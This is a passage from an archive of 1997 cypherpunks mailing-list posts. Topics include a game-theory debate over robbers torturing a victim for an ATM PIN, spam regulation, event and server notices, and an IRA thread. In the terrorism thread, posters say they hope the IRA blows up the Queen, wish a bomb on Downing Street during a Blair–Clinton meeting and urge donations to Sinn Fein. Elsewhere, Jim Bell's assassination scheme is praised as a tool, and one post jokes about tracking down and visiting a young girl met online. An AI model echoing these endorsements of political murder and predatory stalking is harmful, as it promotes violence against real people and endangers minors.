not tell them the right number and delay the process, with the hope
that possibly the police will come and rescue me.

Assuming that robbers are rational and know that I am rational,
they certainly should not put me in such position: if they do,
they are going to waste a lot of precious time and have no chance of
getting the money.

So, they should promise me that they would not kill me.

But how would I believe them? A rational robber should kill the
victim after she gets the money.

I am not quite clear if rational people can get something out of
torturing other rational people. Maybe, I am confused and wrong
somewhere.

Maybe, if the robber can convince the victim that she (robber) is
irrational and would hold on to her promise not to kill him, she could
get the money. But how to do that?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 15:14:54 +0800
To: mpd@netcom.com (Mike Duvos)
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070650.XAA22108@netcom19.netcom.com>
Message-ID: <199706070705.CAA00810@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Mike,

Thanks for an interesting reply.

What if, for example, the prisoner convinced the robbers that he
was irrational and would swear to God that he would never give up
his PIN. Assume that he made a very credible promise, ie, the victim
is a known nut. Assume also that the victim is also able to convince
the robbers that he would not tell anything to the police.

The robbers would then face a choice: whether to kill the victim
and face murder charges with punishment M and probability Pm, or
not to kill the victim and face charges R (for Robbery) with 
probability Pr. Since the victim is not going to tell anybody,
Pr is zero. So they now choose not to kill the victim.

How can this victim make a credible promise not to tell the
police?

I think that Jim Bell's assassination bot would solve this problem.
The victim would pledge $1,000,000 to the bot, with the instruction
to give it to the robbers if they are ever arrested within the statute
of limitations. After the statute expires, Jim Bell's bot would return 
the money back to the victim.

The AP bot could generally be a great tool for creating various
credible threats.

igor

Mike Duvos wrote:
> 
> 
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
>  > Mike Duvos wrote:
> 
>  >> An interesting twist on rubber hose decryption in the case
>  >> of the murder of Jonathan Levin, son of the top executive of
>  >> media giant Time Warner.
> 
>  >> Police believe his ATM card was stolen, and he was then
>  >> jabbed with a steak knife until he revealed the PIN.
> 
>  > This brings up a question. Did these robbers kill him right
>  > after they found out the answer, or they first tried to
>  > withdraw money to check if his number was right?
> 
>  > This brings up a question on the strategy in this game.
> 
>  > Suppose I am captured by ruthless robbers. They ask me for a
>  > number and torture me. They will torture me as long as
>  > necessary until I give out the correct number, and then
>  > they kill me.
> 
>  > Assuming that I am rational and prefer torture to death, I
>  > should not tell them the right number and delay the
>  > process, with the hope that possibly the police will come
>  > and rescue me.
> 
>  > Assuming that robbers are rational and know that I am
>  > rational, they certainly should not put me in such
>  > position: if they do, they are going to waste a lot of
>  > precious time and have no chance of getting the money.
> 
>  > So, they should promise me that they would not kill me.
> 
>  > But how would I believe them? A rational robber should kill
>  > the victim after she gets the money.
> 
>  > I am not quite clear if rational people can get something
>  > out of torturing other rational people. Maybe, I am
>  > confused and wrong somewhere.
> 
>  > Maybe, if the robber can convince the victim that she
>  > (robber) is irrational and would hold on to her promise not
>  > to kill him, she could get the money. But how to do that?
> 
> This is a kind of a Prisoner's Dilemma type game-theoretic
> problem. Each side desires to maximize their mathematical
> expectation, which is the sum of their expected return for each
> possible behavior of their opponent times the probability that
> behavior will occur.  One may assume that one has an intelligent
> opponent who can also analyze the game.
> 
> The robbers can either promise to let their victim live after the
> PIN has been extracted, or not.  Once torture has produced a PIN,
> and it has been tested in the ATM, they can either kill their
> victim or not kill him.
> 
> The victim can either give the PIN before major damage is done,
> or he can hold out until he either dies or rescue arrives.
> 
> For the robbers, the money is a small return, and getting charged
> with murder should the police arrive right after the victim has
> been terminated is a big loss.  Letting the victim live to
> identify the robbers is a medium sized loss, but killing the
> victim and getting away with it is no loss at all. For the
> victim, the loss of some money is a small loss, and the loss of
> ones life is a big loss.
> 
> Now the only return for the robbers is the money, so anything
> that doesn't result in the money is worse than not committing the
> crime in the first place.  There is no incentive for the robbers
> to say that they will kill you and not do it, so we can assume
> the robbers will not lie about this.  A rational victim will
> postphone death as long as possible, so it is always in the best
> interests of the robbers to say that they will not kill the
> victim.
> 
> This crime takes a very short amount of time to commit, so rescue
> is unlikely.  Torture which results in either the PIN or mortal
> injury can be carried out in under a minute.  If the PIN is not
> disclosed, death will therefore result.  If the pin is disclosed,
> you have a chance of living equal to the chance the robbers will
> not kill you.
> 
> So the optimum strategy if both players have analyzed the game is
> for the robbers to promise not to kill you, the victim to always
> immediately give up the PIN, and then for the robbers to either
> kill or not kill the victim, based on the relative penalty times
> the chance of getting caught for each alternative.
> 
> There is nothing the victim can do to improve his chances, except
> to hope he lives in a community where the penalty for robbery is
> small compared to the penalty for murder, and that a
> disproportionate amount of law enforcement resources are devoted
> to solving murders, versus solving robberies.
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      mpd@netcom.com     $    via Finger.                      $
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 7 Jun 1997 09:47:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070117.UAA26367@manifold.algebra.com>
Message-ID: <199706070142.DAA29774@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov @ home wrote:
> Another danger of  using remailers without encryption is that it is very
> easy to compromise one's identity due to little mistakes and malformed
> messages.

Yup, apparently relay.com and reply.com have gotten quite a bit of
remailer@replay.com's mail.  In fact, relay.com has complained about this
several times.  (Obviously they were reading the misdirected mail.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 21:39:58 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706070424.XAA27671@manifold.algebra.com>
Message-ID: <0kFX8D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Declan McCullagh <declan@pathfinder.com> writes:
> >
> > > -Declan
> > >
> > > (Who thinks that no consensual speech should be banned by the government.
> >
> > If you set up your mailbox to accept e-mail promiscuously from anyone,
> > then anything sent to it is "consentual".
> >
> > > I can, however, see a common law argument for spam as trespass after
> > > repeated cease-and-desist notes are sent.)
> >
> > The onus is on the recipient to filter out what they don't want (or to
> > "filter in" only what they want, which is how I think we'll end up). Such
> > filtering takes less time+effort than "repeated cease-and-desist notes".
>
> Is there any justification for a law that would require senders to make
> filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.

And if the recipient gets UCE without such tags, he can sue, right?

As it is, there are a few dozen mentally disturbed folks who bombard
postmasters everywhere with false reports of "spamming" and "warez".

Now they'll complain about UCE without tags (w/o basis in reality)
and threaten to sue.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 7 Jun 1997 21:01:15 +0800
To: cypherpunks@toad.com
Subject: DCSB: IETF-TLS, Exporting Financial Cryptography, and theProspects for SET
Message-ID: <v03020933afbf04eee4dc@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----



                The Digital Commerce Society of Boston

                              Presents

                             Win Treese
                          Open Market, Inc.

      "Security Standards, Policy, and Projects: A Personal View"



                        Tuesday, July 1, 1997
                              12 - 2 PM
                  The Downtown Harvard Club of Boston
                    One Federal Street, Boston, MA
                   Price, Including Luncheon: $30.00


In this talk, Win will discuss three areas of recent work related
to security:

1. History, status, and future of the Transport Layer Security
    Working Group of the IETF. This working group has been
    moving SSL into an Internet Standard.
2. Experiences with gaining approval for exporting Internet
    commerce products with strong cryptography.
3. History, status, and future of the Secure Electronic Transactions
    protocol, from the point of view of a developer of Internet
    commerce products.

Win Treese is Director of Security at Open Market, which provides products
and services for Internet commerce. He has been with the company since it
began operation in 1994, working primarily on the security and payment
architecture across its product line. He also chairs the Transport Layer
Security Working Group of of the IETF. Prior to joining Open Market, he was
with the Cambridge Research Lab of Digital Equipment Corporation. He also
served as Chief Systems Engineer at MIT's Project Athena.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, July 1, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, June 28, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

August    Duncan Frissell      MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 8 Jun 1997 01:08:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <v03102800afbf439725f9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:22 AM -0700 6/7/97, Brian Lane wrote:

>  Yes, this is apparently how it happened. The robber tortured him for
>the PIN, used the card to get $800 from a machine and then returned to
>stab and shoot him. Apparently the murderer is one of his students (he
>was a teacher in NY I believe). This happened after Levin asked the
>class to write their biographies and revealed who his father was.

A good thing anonymity and pseudonymity are under attack!

Soon we'll be able to have true "stalker's pages," with links to home
addresss and zipcode data bases.

(And when I find some young nymphette in one of the chat groups, I'll be
able to click on her name and call up all the relevant information to allow
me to go visit her! We'll have a grand time...or at least I will.)


--Jack D. Ripper







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 7 Jun 1997 23:36:38 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Intermittent SSZ downtime
Message-ID: <199706071502.KAA11500@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

SSZ is going to be offline at least twice over the next 36 hours or so. It
should be down on longer than a couple of hours for some hardware upgrades
in preperation for a full software upgrade. There are two additional outages
planned next weekend.

Please plan accordingly, we apologize for any inconvenience.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dshipman@ewol.com (Dave Shipman)
Date: Sat, 7 Jun 1997 22:13:35 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Steak Knife Decryption
Message-ID: <19970607140545968.AAA302@xxx>
MIME-Version: 1.0
Content-Type: text/plain



At 12:44 AM 6/7/97 -0500, you wrote:

>
>Maybe, if the robber can convince the victim that she (robber) is
>irrational and would hold on to her promise not to kill him, she could
>get the money. But how to do that?
>
>	- Igor.
>
>
Maybe she (robber) could turn turn him (robbee) loose for fifteen minutes,
to show good intentions?

--------------------------------------------
DLS





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 23:13:27 +0800
To: cypherpunks@toad.com
Subject: Re: Steak Knife Decryption
In-Reply-To: <33996cfa.26096067@mail.eskimo.com>
Message-ID: <NVNX8D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nexus@eskimo.com (Brian Lane) writes:

> On Sat, 7 Jun 1997 00:44:15 -0500 (CDT), you wrote:
>
> >Mike Duvos wrote:
> >>
> >>
> >> An interesting twist on rubber hose decryption in the case of the
> >> murder of Jonathan Levin, son of the top executive of media
> >> giant Time Warner.
> >>
> >> Police believe his ATM card was stolen, and he was then jabbed
> >> with a steak knife until he revealed the PIN.
> >
> >This brings up a question. Did these robbers kill him right after
> >they found out the answer, or they first tried to withdraw money
> >to check if his number was right?
>
>   Yes, this is apparently how it happened. The robber tortured him for
> the PIN, used the card to get $800 from a machine and then returned to
> stab and shoot him. Apparently the murderer is one of his students (he
> was a teacher in NY I believe). This happened after Levin asked the
> class to write their biographies and revealed who his father was.

Off-topic rant follows:

Levin Sr is a petty asshole. I used to work for a guy who used to be
the president of Time Warner before. One of his retirement perks was
a WATS line. When what's-his-name suddenly died and Levin assumed
office was to turn off that WATS line.  This tells me something.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 23:15:39 +0800
To: cypherpunks@toad.com
Subject: Re: Steak Knife Decryption
In-Reply-To: <33996cfa.26096067@mail.eskimo.com>
Message-ID: <k1NX8D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nexus@eskimo.com (Brian Lane) writes:
> >This brings up a question on the strategy in this game.
>
>   I don't think there is any strategy in being robbed, only survuval.
> Levin commited a grave mistake. Revealing his background to his class
> was a very stupid move.

Becoming a high school teacher in NYC was a stupid move.  Someone I know
went to teach; 2 weeks into the semester one of his students punched him
in the nose causing extensive damage. This stopped making news long ago.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Mon, 9 Jun 1997 02:15:42 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:McVeigh
Message-ID: <199706081801.LAA28966@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:42 PM 6/4/97 -0400, Hallam-Baker wrote:
> Bell's Murder Politics scheme was a censorship scheme.

Surely people would be more inclined to kill politicians 
for what they do, rather than what they say.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 7 Jun 1997 22:37:03 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <HDFw8D25w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970607112351.6280A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Tims post made a good point, people soon forget the causes of conflict
> > and only see the effects, today, hardly anyone in the UK sees the IRA as
> > an organisation devoted to liberating NI, merely a bunch of thugs. Of
> 
> Of course they forget the nearly thousand years of English thuggery
> in Ireland...

Indeed, the English in Ireland were, and are, immesurably worse than the 
IRA in terms of the scale of their crimes.

> > course they have brought this on themselves by indiscriminately blowing
> > things up. Talking of which the Queen is visiting Hastings (a town about
> > 5 miles from me) today, I hope the IRA blow her up...
> 
> That would be just lovely!
> 
> I'm sorry the IRS missed a chance to blow up the Blair motherfucker
> during his recent $400 dinner.

Indeed, during the Blair<->Clinton meeting/cocksucking session might  
have been a good time to drop a bomb on Downing St.

> Please send donations to Sinn Fein every time you see Hallam Baker post.

Of course.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 7 Jun 1997 22:56:58 +0800
To: Rich Graves <rcgraves@disposable.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.GUL.3.95.970606173457.7265B-100000@Networking.Stanford.EDU>
Message-ID: <Pine.LNX.3.91.970607114207.6280B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> How many Irish nationalists do you know? The ones I know consider the
> IRA to be a bunch of thugs. Their attitude towards sympathizers in the
> US is similar to the attitude most Israelis have towards the kind of
> American wackos who killed Rabin. That's probably too nuanced for you,
> so to simplify: 

Thanks, I`ll simplify all my answers into words of 2 syllables or less 
for you in future.

> I think they're a bunch of thugs. They're just as
> thuggish towards "their own" as they are towards the Loyalists. Express
> a moderate or humanistic point of view in certain NI neighborhoods and
> the IRA thugs will make sure you're censored for good.

My point exactly, the IRA are criminal scum, as I have said. Of course 
they serve a purpose, but that really isn`t the point.

> AS Bill Frantz
> pithed a few weeks ago: the problem is not anarchy -- the problem is
> too many competing governments in one place. Thuggery isn't the answer
> to historical thuggery.

Thuggery in this vein is certainly not appropriate. I would have no 
problem whatsoever with the IRA if they concentrated entirely on killing 
poloticians, recall that not so many years ago they were less inclined to 
killing civilians (around the Brighton bomb and Airey Neave incident time).
Of course, the IRA have always been censorous thugs, they just happen to 
have taken also to killing innocent people in highly populated areas as well.
IMO, the IRA are terrorists, *not* freedom fighters. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 8 Jun 1997 03:26:32 +0800
To: cypherpunks@cyberpass.net
Subject: Another prosecution/ruling re Thomases/Amateur Action
Message-ID: <3.0.2.32.19970607122209.00774494@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




List members may be familiar with the prosecution of Robert Thomas, a Bay
Area man who runs (ran?) a BBS entitled "Amateur Action", which provided,
via modem and mail order, pornographic images to its customers. 

Robert Thomas was arrested in California, then prosecuted in and imprisoned
by a federal district court in Tennessee based on Tennessee community
standards for the material he made available from California; apparently
that prosecution centered on one or more pictures involving sex between
human(s) and animals. 

Subsequently, he was indicted by a federal grand jury in Utah for
distribution of child pornography; he moved to dismiss that second
prosecution on the grounds of double jeopardy and collateral estoppel. His
motion was denied, and he subsequently plead guilty to a single count and
was sentenced to 26 months' imprisonment. He appealed the denial of his
motions to dismiss, and was unsuccessful; the Tenth Circuit ruled that the
constitution's protection against double jeopardy and the doctrine of
collateral estoppel were not applicable because the two prosecutions
involved two different charges (obscenity in TN and child porn in UT) and
different findings of fact.

He also requested that his sentence be reduced to end at the time his
sentence ends in for the TN prosecution, but his request was denied and the
appeals court declined to modify the trial court's sentence. 

The text of the appellate court's ruling is at

<http://www.ljx.com/cgi-bin/f_cat?prod/ljextra/data/external/1997/06/9706024
.c10>, I
have mirrored it at <http://www.parrhesia.com/thomas.txt>. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 8 Jun 1997 03:55:25 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970607133514.655C-100000@cp.pathfinder.com>
Message-ID: <19970607124001.37225@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jun 07, 1997 at 01:53:05PM -0500, Dr.Dimitri Vulis KOTM wrote:
> Declan McCullagh <declan@pathfinder.com> writes:
[...]
> 
> Yes, the only honorable response to speech you don't like
> is to ignore it or to respond with more speech. 

Quite so.  The issue, then, is "what is speech".  I put a 190 db 
megaphone next to your head and scream into it, and your eardrums 
rupture and the blood flows, that's arguably not speech.

I would argue that in order for something to fall under the absolute 
protections free speech it has to meet certain characteristics -- it 
can't lead to direct bodily harm, or property damage, or any other 
kind of "damage" that is legally defined.

So the question of free speech is really, when you think about it, a 
question about what legally constitutes "damage".

In the internet context, then, activities that cause any reasonable 
definition of "damage" could be controlled, under the "non-aggression 
principle" if nothing else.

I think a reasonable definition of damage in an internet context is 
"excess interference with other transmission" (for some values of 
excess). 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sun, 8 Jun 1997 02:10:20 +0800
To: declan@well.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970607133514.655C-100000@cp.pathfinder.com>
Message-ID: <199706071754.MAA01524@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Declan McCullagh wrote:
> 
> 
> Such a law would be unconstitutional, I believe, and unjust. It's
> compelled speech: the government forcing you to say something.
> Depending on how it's worded, it could also impact core political
> speech, something the courts generally don't like.
> 

Declan,

There is a lot of commercial compelled speech. For example,
mutual funds must say that past performance is not a guarantee
of future results.

Do you find this kind of compelled speech unconstitutional?

igor

> 
> 
> On Fri, 6 Jun 1997, Igor Chudov @ home wrote:
> > 
> > Is there any justification for a law that would require senders to make
> > filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.
> > 
> > 	- Igor.
> > 
> > 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 8 Jun 1997 01:05:56 +0800
To: cypherpunks@toad.com
Subject: Is Bill Clinton Obstructing Justice???
Message-ID: <199706071654.MAA27424@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain




Is Bill Clinton Obstructing Justice in
              the Case of
            Charles Hayes?

          by J. Orlin Grabbe

1.   Did  President Bill  Clinton  meet
with  Kentucky District Judge  Jennifer
B.  Coffman at the Watergate  Hotel  on
May  21,  1997?   Has Coffman  suddenly
become    an   important   Presidential
advisor?  Was the meeting just  another
tête-à-tête similar to the one  Clinton
had  with Paula Jones?  Is Bill Clinton
obstructing justice?

2.   Is  Judge Coffman in the  meantime
sitting on, and attempting to ignore, a
slew  of  motions from Hayes'  attorney
Marvin   Miller?   Is   Judge   Coffman
herself guilty of judicial misconduct?

3.   Why  did  Assistant U.S.  Attorney
Patrick   Malloy  recently   asked   to
withdraw  from the Chuck  Hayes'  case?
Why  did Judge Coffman refuse to  allow
him to withdraw?

4.   Where has the alleged hit man  Don
Yarbrough  disappeared  to?   Does  his
disappearance have anything to do  with
falsified information given to the FBI?
Did  the  FBI previously say  they  had
verified this information?

5.   What  perjury  charges  have  been
filed   against   FBI   agent   Stephen
Brannan?

6.   What  perjury  charges  have  been
filed  against FBI agent David  Keller?
Was or was not David Keller transferred
to the Atlanta office of the FBI?

7.   Has  Lawrence Myers been impeached
as  a  witness because he was diagnosed
as having multiple personalities by the
U.S. Army?

8.   Are  there any remaining witnesses
against Charles Hayes?

9.   What  is the relationship  between
Judge   Jennifer  Coffman  and  Wendell
Ford?

10.    Was   Jennifer   Coffman   under
investigation       for       financial
improprieties  at  the  time  she   was
appointed judge?















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 8 Jun 1997 01:52:20 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706070424.XAA27671@manifold.algebra.com>
Message-ID: <Pine.GSO.3.95.970607133514.655C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Such a law would be unconstitutional, I believe, and unjust. It's
compelled speech: the government forcing you to say something.
Depending on how it's worded, it could also impact core political
speech, something the courts generally don't like.

-Declan


On Fri, 6 Jun 1997, Igor Chudov @ home wrote:
> 
> Is there any justification for a law that would require senders to make
> filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.
> 
> 	- Igor.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 8 Jun 1997 03:13:57 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ status (fwd)
Message-ID: <199706071838.NAA00235@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Sat Jun  7 13:38:49 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199706071838.NAA00222@einstein.ssz.com>
Subject: SSZ status
To: users@ssz.com (SSZ User Mail List)
Date: Sat, 7 Jun 1997 13:38:47 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 962       


Hi,

The initial hardware upgrade went without a hitch. No additional downtime is
expected today. We will let the system run until tomorrow afternoon before
deciding on the need for further tweaking.


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 03:12:38 +0800
To: cypherpunks@toad.com
Subject: Re: Steak Knife Decryption
In-Reply-To: <v03102800afbf439725f9@[207.167.93.63]>
Message-ID: <RRwX8D16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
>
> Soon we'll be able to have true "stalker's pages," with links to home
> addresss and zipcode data bases.
>
> (And when I find some young nymphette in one of the chat groups, I'll be
> able to click on her name and call up all the relevant information to allow
> me to go visit her! We'll have a grand time...or at least I will.)

An employee of "firefly.net" (a very invasive marketing organization that
specializes in compiling huge databases of personal information about
Internet users) recently got upset at me and posted various personal
information about me to Usenet in an effort to harrass me.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 03:12:42 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970607133514.655C-100000@cp.pathfinder.com>
Message-ID: <7uwX8D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> Such a law would be unconstitutional, I believe, and unjust. It's
> compelled speech: the government forcing you to say something.
> Depending on how it's worded, it could also impact core political
> speech, something the courts generally don't like.
>
> On Fri, 6 Jun 1997, Igor Chudov @ home wrote:
> > Is there any justification for a law that would require senders to make
> > filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.

The following rant has nothing to do with crypto. If anyone wants to
talk about this (and I do hope Ross will will this of interest!), let's
move this someplace more appropriate, like f-k.

First, not all "unsolicited e-mail" is commercial.

Suppose a Jew4Jesus writes a short perl script that collects the e-mail
addresses of all the people who post to the Usenet newsgroup soc.culture.jewish
and various other Jewish-related forums, and e-mails them an unsolicited
e-mail that goes:

"Subject: Re: <original subject>

Beloved friend and fellow Jew,

I'm writing in response to your Usenet article <Message-Id> posted on
<date> in newsgroup(s) <blah>.  I believe that your soul will not be
saved unless you accept Y'hoshua the Moshiah as your friend and
personal savior blah blah Jesus is cumming and you better swallow!"

[I chose J4J as an example because they're probably the most censored and
